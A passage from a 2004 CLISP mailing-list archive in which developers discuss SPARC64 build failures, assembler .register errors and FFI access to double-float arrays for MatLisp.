line 75: error: detect global register use not covered .register pseudo-op /usr/ccs/bin/as: "avcall-sparc64.s", line 75: error: detect global register use not covered .register pseudo-op /usr/ccs/bin/as: "avcall-sparc64.s", line 77: error: detect global register use not covered .register pseudo-op /usr/ccs/bin/as: "avcall-sparc64.s", line 77: error: detect global register use not covered .register pseudo-op /usr/ccs/bin/as: "avcall-sparc64.s", line 80: error: statement syntax /usr/ccs/bin/as: "avcall-sparc64.s", line 83: error: detect global register use not covered .register pseudo-op /usr/ccs/bin/as: "avcall-sparc64.s", line 83: error: detect global register use not covered .register pseudo-op /usr/ccs/bin/as: "avcall-sparc64.s", line 84: error: detect global register use not covered .register pseudo-op /usr/ccs/bin/as: "avcall-sparc64.s", line 84: error: detect global register use not covered .register pseudo-op /usr/ccs/bin/as: "avcall-sparc64.s", line 86: error: detect global register use not covered .register pseudo-op /usr/ccs/bin/as: "avcall-sparc64.s", line 86: error: detect global register use not covered .register pseudo-op /usr/ccs/bin/as: "avcall-sparc64.s", line 87: error: statement syntax /usr/ccs/bin/as: "avcall-sparc64.s", line 88: error: detect global register use not covered .register pseudo-op /usr/ccs/bin/as: "avcall-sparc64.s", line 88: error: detect global register use not covered .register pseudo-op /usr/ccs/bin/as: "avcall-sparc64.s", line 90: error: detect global register use not covered .register pseudo-op /usr/ccs/bin/as: "avcall-sparc64.s", line 90: error: detect global register use not covered .register pseudo-op /usr/ccs/bin/as: "avcall-sparc64.s", line 92: error: detect global register use not covered .register pseudo-op /usr/ccs/bin/as: "avcall-sparc64.s", line 93: error: statement syntax /usr/ccs/bin/as: "avcall-sparc64.s", line 94: error: detect global register use not covered .register pseudo-op /usr/ccs/bin/as: "avcall-sparc64.s", line 96: error: detect global register use not covered .register pseudo-op /usr/ccs/bin/as: "avcall-sparc64.s", line 98: error: detect global register use not covered .register pseudo-op /usr/ccs/bin/as: "avcall-sparc64.s", line 99: error: statement syntax /usr/ccs/bin/as: "avcall-sparc64.s", line 100: error: detect global register use not covered .register pseudo-op /usr/ccs/bin/as: "avcall-sparc64.s", line 102: error: detect global register use not covered .register pseudo-op /usr/ccs/bin/as: "avcall-sparc64.s", line 104: error: detect global register use not covered .register pseudo-op /usr/ccs/bin/as: "avcall-sparc64.s", line 105: error: statement syntax /usr/ccs/bin/as: "avcall-sparc64.s", line 106: error: detect global register use not covered .register pseudo-op /usr/ccs/bin/as: "avcall-sparc64.s", line 108: error: detect global register use not covered .register pseudo-op /usr/ccs/bin/as: "avcall-sparc64.s", line 110: error: detect global register use not covered .register pseudo-op /usr/ccs/bin/as: "avcall-sparc64.s", line 111: error: statement syntax /usr/ccs/bin/as: "avcall-sparc64.s", line 112: error: detect global register use not covered .register pseudo-op /usr/ccs/bin/as: "avcall-sparc64.s", line 114: error: detect global register use not covered .register pseudo-op /usr/ccs/bin/as: "avcall-sparc64.s", line 116: error: detect global register use not covered .register pseudo-op /usr/ccs/bin/as: "avcall-sparc64.s", line 117: error: statement syntax /usr/ccs/bin/as: "avcall-sparc64.s", line 119: error: detect global register use not covered .register pseudo-op /usr/ccs/bin/as: "avcall-sparc64.s", line 121: error: detect global register use not covered .register pseudo-op /usr/ccs/bin/as: "avcall-sparc64.s", line 121: error: detect global register use not covered .register pseudo-op /usr/ccs/bin/as: "avcall-sparc64.s", line 123: error: detect global register use not covered .register pseudo-op /usr/ccs/bin/as: "avcall-sparc64.s", line 124: error: detect global register use not covered .register pseudo-op /usr/ccs/bin/as: "avcall-sparc64.s", line 124: error: detect global register use not covered .register pseudo-op /usr/ccs/bin/as: "avcall-sparc64.s", line 125: error: detect global register use not covered .register pseudo-op /usr/ccs/bin/as: "avcall-sparc64.s", line 125: error: detect global register use not covered .register pseudo-op /usr/ccs/bin/as: "avcall-sparc64.s", line 127: error: detect global register use not covered .register pseudo-op /usr/ccs/bin/as: "avcall-sparc64.s", line 127: error: detect global register use not covered .register pseudo-op .................................... /usr/ccs/bin/as: "avcall-sparc64.s", line 927: error: detect global register use not covered .register pseudo-op /usr/ccs/bin/as: "avcall-sparc64.s", line 928: error: detect global register use not covered .register pseudo-op *** Error code 1 make: Fatal error: Command failed for target `avcall-sparc64.lo' OOPS: gcc -m64 -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type -Wno-s ign-compare -O2 -DUNIX_BINARY_DISTRIB -DUNICODE -DNO_GETTEXT -DNO_SIGSEGV -I. -c spvw.c In file included from spvw.d:24: lispbibl.d:2580:7: #error "oint_addr_mask doesn't cover CODE_ADDRESS_RANGE !!" lispbibl.d:2583:7: #error "oint_addr_mask doesn't cover MALLOC_ADDRESS_RANGE !!" and then I get zillions of lispbibl.d: In function `check_fpointer': lispbibl.d:12126: warning: cast to pointer from integer of different size lispbibl.d:12126: warning: cast to pointer from integer of different size lispbibl.d: In function `check_list': lispbibl.d:12147: warning: left shift count is negative lispbibl.d: In function `check_symbol_non_constant': lispbibl.d:12183: warning: cast to pointer from integer of different size lispbibl.d: In function `check_pos_integer': lispbibl.d:12255: warning: left shift count is negative lispbibl.d: In function `check_sint8': lispbibl.d:12461: warning: left shift count is negative lispbibl.d: In function `check_sint16': lispbibl.d:12477: warning: left shift count is negative lispbibl.d: In function `check_sint32': lispbibl.d:12493: warning: left shift count is negative lispbibl.d: In function `check_uint64': lispbibl.d:12501: warning: cast to pointer from integer of different size lispbibl.d:12501: warning: cast to pointer from integer of different size lispbibl.d:12501: warning: cast to pointer from integer of different size spvw.d: In function `my_malloc': spvw.d:618: warning: cast to pointer from integer of different size spvw_memfile.d:360: warning: cast to pointer from integer of different size spvw_memfile.d:360: warning: cast to pointer from integer of different size spvw_memfile.d:406: warning: cast to pointer from integer of different size spvw_memfile.d:407: warning: cast to pointer from integer of different size spvw_memfile.d:407: warning: cast to pointer from integer of different size spvw_memfile.d:419: warning: cast to pointer from integer of different size spvw_memfile.d:419: warning: cast to pointer from integer of different size spvw_memfile.d:419: warning: cast to pointer from integer of different size spvw_memfile.d:419: warning: cast to pointer from integer of different size spvw_memfile.d:419: warning: cast to pointer from integer of different size spvw_memfile.d:485: warning: cast to pointer from integer of different size spvw_memfile.d:515: warning: cast to pointer from integer of different size spvw_memfile.d:515: warning: cast to pointer from integer of different size spvw_memfile.d:515: warning: cast to pointer from integer of different size spvw_memfile.d:515: warning: cast to pointer from integer of different size spvw_memfile.d:515: warning: cast to pointer from integer of different size spvw_memfile.d:515: warning: cast to pointer from integer of different size spvw_memfile.d:515: warning: cast to pointer from integer of different size spvw_memfile.d:515: warning: cast to pointer from integer of different size spvw_memfile.d:516: warning: cast to pointer from integer of different size spvw_memfile.d:516: warning: cast to pointer from integer of different size spvw_memfile.d:516: warning: cast to pointer from integer of different size spvw_memfile.d:516: warning: cast to pointer from integer of different size spvw_memfile.d:516: warning: cast to pointer from integer of different size spvw_memfile.d:516: warning: cast to pointer from integer of different size spvw_memfile.d:516: warning: cast to pointer from integer of different size spvw_memfile.d:516: warning: cast to pointer from integer of different size PLEASE HELP!!! -- Sam Steingold (http://www.podval.org/~sds) running w2k Trespassers will be shot. Survivors will be prosecuted. From goffioul@imec.be Mon May 10 23:52:29 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BNR7t-0000s5-20 for clisp-list@lists.sourceforge.net; Mon, 10 May 2004 23:52:29 -0700 Received: from mailgw1.imec.be ([146.103.254.19]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.30) id 1BNR7s-0006Nz-NM for clisp-list@lists.sourceforge.net; Mon, 10 May 2004 23:52:28 -0700 Received: from e2k01.imec.be (e2k01.imec.be [146.103.0.4]) by mailgw1.imec.be (8.12.11/8.12.11) with ESMTP id i4B6pMtw025292; Tue, 11 May 2004 08:51:23 +0200 Received: from e2k02.imec.be ([146.103.0.5]) by e2k01.imec.be with Microsoft SMTPSVC(5.0.2195.6713); Tue, 11 May 2004 08:51:22 +0200 X-MIMEOLE: Produced By Microsoft Exchange V6.0.6249.0 content-class: urn:content-classes:message MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Subject: RE: [clisp-list] FFI with complex numbers? Message-ID: <49056F0358EA754AB8420F7210B4CC070319A1A7@e2k02.imec.be> X-MS-Has-Attach: X-MS-TNEF-Correlator: Thread-Topic: [clisp-list] FFI with complex numbers? Thread-Index: AcQ2upZLMtDnfNtYT9STb6b64JkMvwAaXJsQ From: "Goffioul Michael" To: "Raymond Toy" Cc: "Hoehle, Joerg-Cyril" , , X-OriginalArrivalTime: 11 May 2004 06:51:22.0657 (UTC) FILETIME=[5F11D110:01C43724] X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon May 10 23:53:02 2004 X-Original-Date: Tue, 11 May 2004 08:51:22 +0200 > Goffioul> Well, yes: a MatLisp version that work with CLISP... :-) >=20 > You could help make that a reality, if it's important to you. If > you're interested, subscribe to the matlisp mailing lists on > sourceforge.net. >=20 > I think there are quite a few people out there who would like such a > thing. I'm working on it, but I don't know yet if I'll succeed. I'm in contact with a MatLisp developer. > Goffioul> Writing conversion routines is a possibility,=20 > but I fear that efficiency > Goffioul> would be low, especially if you want to convert=20 > large complex arrays > Goffioul> (if you need to do it in a loop). Is there a=20 > way to make C code access > Goffioul> LISP variables directly (without copying)? >=20 > This is certainly possible since this is what Matlisp does. However, > it does require your Lisp to have a specialized array with > double-float elements that are arranged in one contiguous area, just > like C or Fortran would. Given this, you only need a routine that can > figure the address of this, and Matlisp would work, once the Matlisp > Fortran FFI is mapped to clisp's FFI. I don't know(think) that direct memory mapping is possible in CLISP. It uses copy to send/retrieve data to/from FFI functions. Michael. From Joerg-Cyril.Hoehle@t-systems.com Tue May 11 01:51:17 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BNSyr-0004ah-8l for clisp-list@lists.sourceforge.net; Tue, 11 May 2004 01:51:17 -0700 Received: from mail1.telekom.de ([62.225.183.202]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.30) id 1BNSyq-00048Y-Ay for clisp-list@lists.sourceforge.net; Tue, 11 May 2004 01:51:16 -0700 Received: from g8pbr.blf01.telekom.de by G8SBV.dmz.telekom.de with ESMTP; Tue, 11 May 2004 10:51:06 +0200 Received: by G8PBR.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id ; Tue, 11 May 2004 10:50:04 +0200 Message-Id: <5F9130612D07074EB0A0CE7E69FD7A0330BEAB@S4DE8PSAAGS.blf.telekom.de> From: "Hoehle, Joerg-Cyril" To: goffioul@imec.be Cc: clisp-list@lists.sourceforge.net, haible@ilog.fr Subject: AW: [clisp-list] FFI with complex numbers? MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue May 11 01:52:03 2004 X-Original-Date: Tue, 11 May 2004 10:50:03 +0200 Hi, Goffioul Michael wrote: >> [...] Matlisp does. However, >> it does require your Lisp to have a specialized array with >> double-float elements that are arranged in one contiguous area, >I don't know(think) that direct memory mapping is possible in CLISP. >It uses copy to send/retrieve data to/from FFI functions. The FFI is not the problem if you want to interface to some foreign = code. You can always write modules, which, as an other article of mine = explained, feature full access to Lisp objects. One could build modules = even --without-dynamic-ffi :-) but few people know about this, or maybe very few people value this = possibility. The problem IMHO is as follows: Sam Steingold wrote: >You are right, CLISP does not have specialized float arrays. >It would be relatively easy to add them in the NO_TYPECODES model >(mostly used on 32-bit processors). So you cannot have Matlist write the non-existant CLISP FP arrays :-) The FFI is, by the nature of conversions, a slow interface (it's an = interpreter for a foreign-function description language). Some modules could benefit from direct access to Lisp objects. So far, few people have come up with time measurements. Modules where = it's known to make a difference are regexp. Modules where it could make a difference are those where functions are either called very often, or = on large data. But still, I believe run-time invocations of parse-c-type typically = cost more than the FFI conversion overhead. Modules where it makes no difference are obviously those where one = function is called for a long computation. BTW, do you except your function to be called with plenty of different = array sizes? Otherwise, typical memoization techniques of the = FOREIGN-FUNCTION object could be used: you'd call a memoized = specialisation of the foreign function restricted to e.g. exactly = (C-ARRAY int 100). That's the fastest you could get with the FFI! Regards, J=F6rg H=F6hle. From goffioul@imec.be Tue May 11 05:06:39 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BNW1u-0001nh-Vl for clisp-list@lists.sourceforge.net; Tue, 11 May 2004 05:06:38 -0700 Received: from mailgw1.imec.be ([146.103.254.19]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.30) id 1BNW1u-000383-GL for clisp-list@lists.sourceforge.net; Tue, 11 May 2004 05:06:38 -0700 Received: from e2k01.imec.be (e2k01.imec.be [146.103.0.4]) by mailgw1.imec.be (8.12.11/8.12.11) with ESMTP id i4BC5Sue025474; Tue, 11 May 2004 14:05:28 +0200 Received: from e2k02.imec.be ([146.103.0.5]) by e2k01.imec.be with Microsoft SMTPSVC(5.0.2195.6713); Tue, 11 May 2004 14:05:28 +0200 X-MIMEOLE: Produced By Microsoft Exchange V6.0.6249.0 content-class: urn:content-classes:message MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Subject: RE: [clisp-list] FFI with complex numbers? Message-ID: <49056F0358EA754AB8420F7210B4CC07015E7881@e2k02.imec.be> X-MS-Has-Attach: X-MS-TNEF-Correlator: Thread-Topic: [clisp-list] FFI with complex numbers? Thread-Index: AcQ3NU37wW/4P8CnRdqdj9yX21FXxQAGkj7g From: "Goffioul Michael" To: "Hoehle, Joerg-Cyril" Cc: , X-OriginalArrivalTime: 11 May 2004 12:05:28.0614 (UTC) FILETIME=[4022A460:01C43750] X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue May 11 05:07:10 2004 X-Original-Date: Tue, 11 May 2004 14:05:28 +0200 > Hi, >=20 > Goffioul Michael wrote: > >> [...] Matlisp does. However, > >> it does require your Lisp to have a specialized array with > >> double-float elements that are arranged in one contiguous area, > >I don't know(think) that direct memory mapping is possible in CLISP. > >It uses copy to send/retrieve data to/from FFI functions. >=20 > The FFI is not the problem if you want to interface to some=20 > foreign code. You can always write modules, which, as an=20 > other article of mine explained, feature full access to Lisp=20 > objects. One could build modules even --without-dynamic-ffi :-) > but few people know about this, or maybe very few people=20 > value this possibility. Would you then be able to make an external C functions acces the internal data of a LISP vector directly in "double*"-like way (provided this is possible with the internal representation of a vector in CLISP)? Could you point me to some documentation about modules? I read the CLISP implementation doc, but didn't find it very explicit regarding modules. > The problem IMHO is as follows: >=20 > Sam Steingold wrote: > >You are right, CLISP does not have specialized float arrays. > >It would be relatively easy to add them in the NO_TYPECODES model > >(mostly used on 32-bit processors). >=20 > So you cannot have Matlist write the non-existant CLISP FP arrays :-) >=20 > The FFI is, by the nature of conversions, a slow interface=20 > (it's an interpreter for a foreign-function description=20 > language). Some modules > could benefit from direct access to Lisp objects. > So far, few people have come up with time measurements.=20 > Modules where it's > known to make a difference are regexp. Modules where it could make a > difference are those where functions are either called very=20 > often, or on > large data. > But still, I believe run-time invocations of parse-c-type=20 > typically cost > more than the FFI conversion overhead. > Modules where it makes no difference are obviously those=20 > where one function > is called for a long computation. >=20 > BTW, do you except your function to be called with plenty of=20 > different array sizes? Otherwise, typical memoization=20 > techniques of the FOREIGN-FUNCTION object could be used:=20 > you'd call a memoized specialisation of the foreign function=20 > restricted to e.g. exactly (C-ARRAY int 100). That's the=20 > fastest you could get with the FFI! It's expected to be used as a library. So theoretically, the array size can be anything. I don't think that memoization would be the best solution. Michael. From Joerg-Cyril.Hoehle@t-systems.com Tue May 11 05:34:00 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BNWSO-0006N5-1B for clisp-list@lists.sourceforge.net; Tue, 11 May 2004 05:34:00 -0700 Received: from mail4.telekom.de ([195.243.210.197]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.30) id 1BNWSN-00088L-H0 for clisp-list@lists.sourceforge.net; Tue, 11 May 2004 05:33:59 -0700 Received: from g8pbq.blf01.telekom.de by mail2.dmz.telekom.de with ESMTP; Tue, 11 May 2004 14:33:42 +0200 Received: by G8PBQ.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id ; Tue, 11 May 2004 14:33:42 +0200 Message-Id: <5F9130612D07074EB0A0CE7E69FD7A0330BF3D@S4DE8PSAAGS.blf.telekom.de> From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net Cc: goffioul@imec.be Subject: [clisp-list] FFI with complex numbers? MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue May 11 05:34:11 2004 X-Original-Date: Tue, 11 May 2004 14:33:35 +0200 Goffioul Michael=20 >Would you then be able to make an external C functions acces the >internal data of a LISP vector directly in "double*"-like way No. You can write an "internal" C function which, with special care, = can stuff the results of a foreign function call into a Lisp object. CLISP specialized arrays exist for unsigned-byte 8/16/32. The pseudo code would be as follows (sorry, no more time - actually, = it's probably too sketchy to be usable) LISPFUNN(myfoo...) { # two arguments: int and Lisp array var param1 =3D popSTACK(); # leave array on stack # array checking code not shown check_uint32(param1); unsigned long x =3D I_to_UL(param1); begin_call(); var double ll =3D myfun(); # invoke foreign function end_call(); # convert ll to some CLISP format, see dfloat.d and the like # array groking code, pull array from stack (not shown) var a =3D STACK_0; # move-safe code down here # put double in array, code not shown, see misc. examples in source = tree return_values(); } The key point #1 is that the Lisp array remained on the stack, so even = if the foreign function were to invoke a callback, GC would find it. Key point #2 is to fill the array in the safe, known place, i.e. not = amid foreign call land, but rather after the foreign call (after = end_call), back in Lisp C mode. You see that this approach requires quite some familiarity with a small = part of CLISP internals. >Could you point me to some documentation about modules? I read the >CLISP implementation doc, but didn't find it very explicit regarding >modules. Look at hand-written or hand-originated modules like o affi.d (probably only in attic of current CVS) an idea might be to investigate its MEM-READ/WRITE function o gdi.d o ... also look at the output of the modprep program. It shows how functions = which pull Lisp arguments from the Lisp stack are to be built. Regards, J=F6rg H=F6hle. From bruno@clisp.org Tue May 11 05:44:01 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BNWc4-0008LQ-Po for clisp-list@lists.sourceforge.net; Tue, 11 May 2004 05:44:00 -0700 Received: from ftp.ilog.fr ([81.80.162.195]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.30) id 1BNWc2-0001gb-1L for clisp-list@lists.sourceforge.net; Tue, 11 May 2004 05:43:58 -0700 Received: from laposte.ilog.fr (cerbere-qe0 [81.80.162.193]) by ftp.ilog.fr (8.12.11/8.12.11) with ESMTP id i4BCdLdj008945; Tue, 11 May 2004 14:39:21 +0200 (MET DST) Received: from honolulu.ilog.fr ([172.16.15.122]) by laposte.ilog.fr (8.12.11/8.12.11) with ESMTP id i4BCdF4r014306; Tue, 11 May 2004 14:39:15 +0200 (MET DST) Received: from localhost (localhost [127.0.0.1]) by honolulu.ilog.fr (Postfix) with ESMTP id 1ECE73BCF6; Tue, 11 May 2004 12:31:37 +0000 (UTC) From: Bruno Haible To: clisp-list@lists.sourceforge.net, Sam Steingold User-Agent: KMail/1.5 References: <200405101635.36961.bruno@clisp.org> In-Reply-To: MIME-Version: 1.0 Content-Type: text/plain; charset="utf-8" Content-Transfer-Encoding: 7bit Content-Disposition: inline Message-Id: <200405111431.35923.bruno@clisp.org> X-Spam-Score: 0.3 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.3 UPPERCASE_25_50 message body is 25-50% uppercase Subject: [clisp-list] Re: *** - No more room for LISP objects Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue May 11 05:45:12 2004 X-Original-Date: Tue, 11 May 2004 14:31:35 +0200 Sam Steingold wrote: > gcc -m64 > checking for 64-bit SPARC... (cached) yes > > gcc -m64 foo.c > file a.out > a.out: ELF 64-bit MSB executable SPARCV9 Version 1, dynamically > linked, not stripped Good, you're near to success. > gcc -m64 -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type > -Wno-s ign-compare -O2 -DUNIX_BINARY_DISTRIB -DUNICODE -DNO_GETTEXT > -DNO_SIGSEGV -I. -c spvw.c > In file included from spvw.d:24: > lispbibl.d:2580:7: #error "oint_addr_mask doesn't cover CODE_ADDRESS_RANGE !!" > lispbibl.d:2583:7: #error "oint_addr_mask doesn't cover MALLOC_ADDRESS_RANGE !!" Then adjust the oint_type_len etc. definitions (lispbibl.d:2405..2431) to match the CODE_ADDRESS_RANGE and MALLOC_ADDRESS_RANGE that was found. Bruno From toy@rtp.ericsson.se Tue May 11 06:47:24 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BNXbQ-0005cl-EV for clisp-list@lists.sourceforge.net; Tue, 11 May 2004 06:47:24 -0700 Received: from imr1.ericy.com ([198.24.6.9]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.30) id 1BNXbN-0005mb-9N for clisp-list@lists.sourceforge.net; Tue, 11 May 2004 06:47:21 -0700 Received: from eamrcnt750.exu.ericsson.se (eamrcnt750.exu.ericsson.se [138.85.133.51]) by imr1.ericy.com (8.12.10/8.12.10) with ESMTP id i4BDl5Lc018471; Tue, 11 May 2004 08:47:05 -0500 (CDT) Received: from mailhost.exu.ericsson.se ([138.85.75.19]) by eamrcnt750.exu.ericsson.se with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2657.72) id JQWLK5L7; Tue, 11 May 2004 08:46:43 -0500 Received: from edgedsp4.rtp.ericsson.se (edgedsp4.rtp.ericsson.se [147.117.85.209]) by mailhost.exu.ericsson.se (8.11.7+Sun/8.11.6) with ESMTP id i4BDl3R04626; Tue, 11 May 2004 08:47:05 -0500 (CDT) To: "Goffioul Michael" Cc: "Hoehle, Joerg-Cyril" , , Subject: Re: [clisp-list] FFI with complex numbers? References: <49056F0358EA754AB8420F7210B4CC070319A1A7@e2k02.imec.be> From: Raymond Toy In-Reply-To: <49056F0358EA754AB8420F7210B4CC070319A1A7@e2k02.imec.be> (Goffioul Michael's message of "Tue, 11 May 2004 08:51:22 +0200") Message-ID: User-Agent: Gnus/5.1006 (Gnus v5.10.6) XEmacs/21.5 (chayote, usg-unix-v) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue May 11 06:48:05 2004 X-Original-Date: Tue, 11 May 2004 09:47:03 -0400 >>>>> "Goffioul" == Goffioul Michael writes: Goffioul> I'm working on it, but I don't know yet if I'll succeed. I'm in Goffioul> contact with a MatLisp developer. Hmm, there are only two developers, and I pretend to be the other one sometimes. >> >> This is certainly possible since this is what Matlisp does. However, >> it does require your Lisp to have a specialized array with >> double-float elements that are arranged in one contiguous area, just >> like C or Fortran would. Given this, you only need a routine that can >> figure the address of this, and Matlisp would work, once the Matlisp >> Fortran FFI is mapped to clisp's FFI. Goffioul> I don't know(think) that direct memory mapping is possible in CLISP. Goffioul> It uses copy to send/retrieve data to/from FFI functions. Just to clarify things, matlisp doesn't pass the array itself, It passes the address of the contents of the array to the foreign function. Clisp supports passing pointers to foreign functions, I think. So what you need is for Clisp to have a specialized array type for double-float. But matlisp doesn't really require that the array be on the Lisp heap. You could, for example, have the array malloc'ed, or something. (Matlisp originally did this.) You would have to decide if this is really what you want. But this is getting far from the topic of clisp, so perhaps it should be taken up elsewhere. Ray From toy@rtp.ericsson.se Tue May 11 06:57:31 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BNXlB-0007wf-Kq for clisp-list@lists.sourceforge.net; Tue, 11 May 2004 06:57:29 -0700 Received: from imr1.ericy.com ([198.24.6.9]) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.30) id 1BNXlB-0004pn-AZ for clisp-list@lists.sourceforge.net; Tue, 11 May 2004 06:57:29 -0700 Received: from eamrcnt751.exu.ericsson.se (eamrcnt751.exu.ericsson.se [138.85.133.52]) by imr1.ericy.com (8.12.10/8.12.10) with ESMTP id i4BDvILc021479; Tue, 11 May 2004 08:57:18 -0500 (CDT) Received: from mailhost.exu.ericsson.se ([138.85.75.19]) by eamrcnt751.exu.ericsson.se with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2657.72) id JQWJ59KF; Tue, 11 May 2004 08:56:59 -0500 Received: from edgedsp4.rtp.ericsson.se (edgedsp4.rtp.ericsson.se [147.117.85.209]) by mailhost.exu.ericsson.se (8.11.7+Sun/8.11.6) with ESMTP id i4BDv9R04877; Tue, 11 May 2004 08:57:11 -0500 (CDT) To: clisp-list@lists.sourceforge.net Cc: Bruno Haible Subject: Re: [clisp-list] Re: *** - No more room for LISP objects References: <200405101240.04731.bruno@clisp.org> <200405101635.36961.bruno@clisp.org> From: Raymond Toy In-Reply-To: (Sam Steingold's message of "Mon, 10 May 2004 18:50:29 -0400") Message-ID: User-Agent: Gnus/5.1006 (Gnus v5.10.6) XEmacs/21.5 (chayote, usg-unix-v) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue May 11 06:58:06 2004 X-Original-Date: Tue, 11 May 2004 09:57:08 -0400 >>>>> "Sam" == Sam Steingold writes: Sam> gcc -m64 -x none -c avcall-sparc64.s -o avcall-sparc64.o Sam> /usr/ccs/bin/as: "avcall-sparc64.s", line 2: error: .version "01.01" greater tha Sam> n assembler version "" Don't know what this means. Sam> /usr/ccs/bin/as: "avcall-sparc64.s", line 13: error: detect global register use Sam> not covered .register pseudo-op You need to add a .register pseudo-op. Something like .register %g2, #scratch .register %g3, #scratch (This info is hard to find anywhere. I'm not 100% sure that the above is correct.) BTW, I tried to compile a "hello world" C program in 64-bit mode, a while ago. This worked ok, but gdb 6.0 was totally useless. It didn't understand anything so you couldn't set breakpoints, couldn't single-step, couldn't display stack frames, etc. Sun's debugger (and compiler) worked much better in this respect. Even the ancient version 5 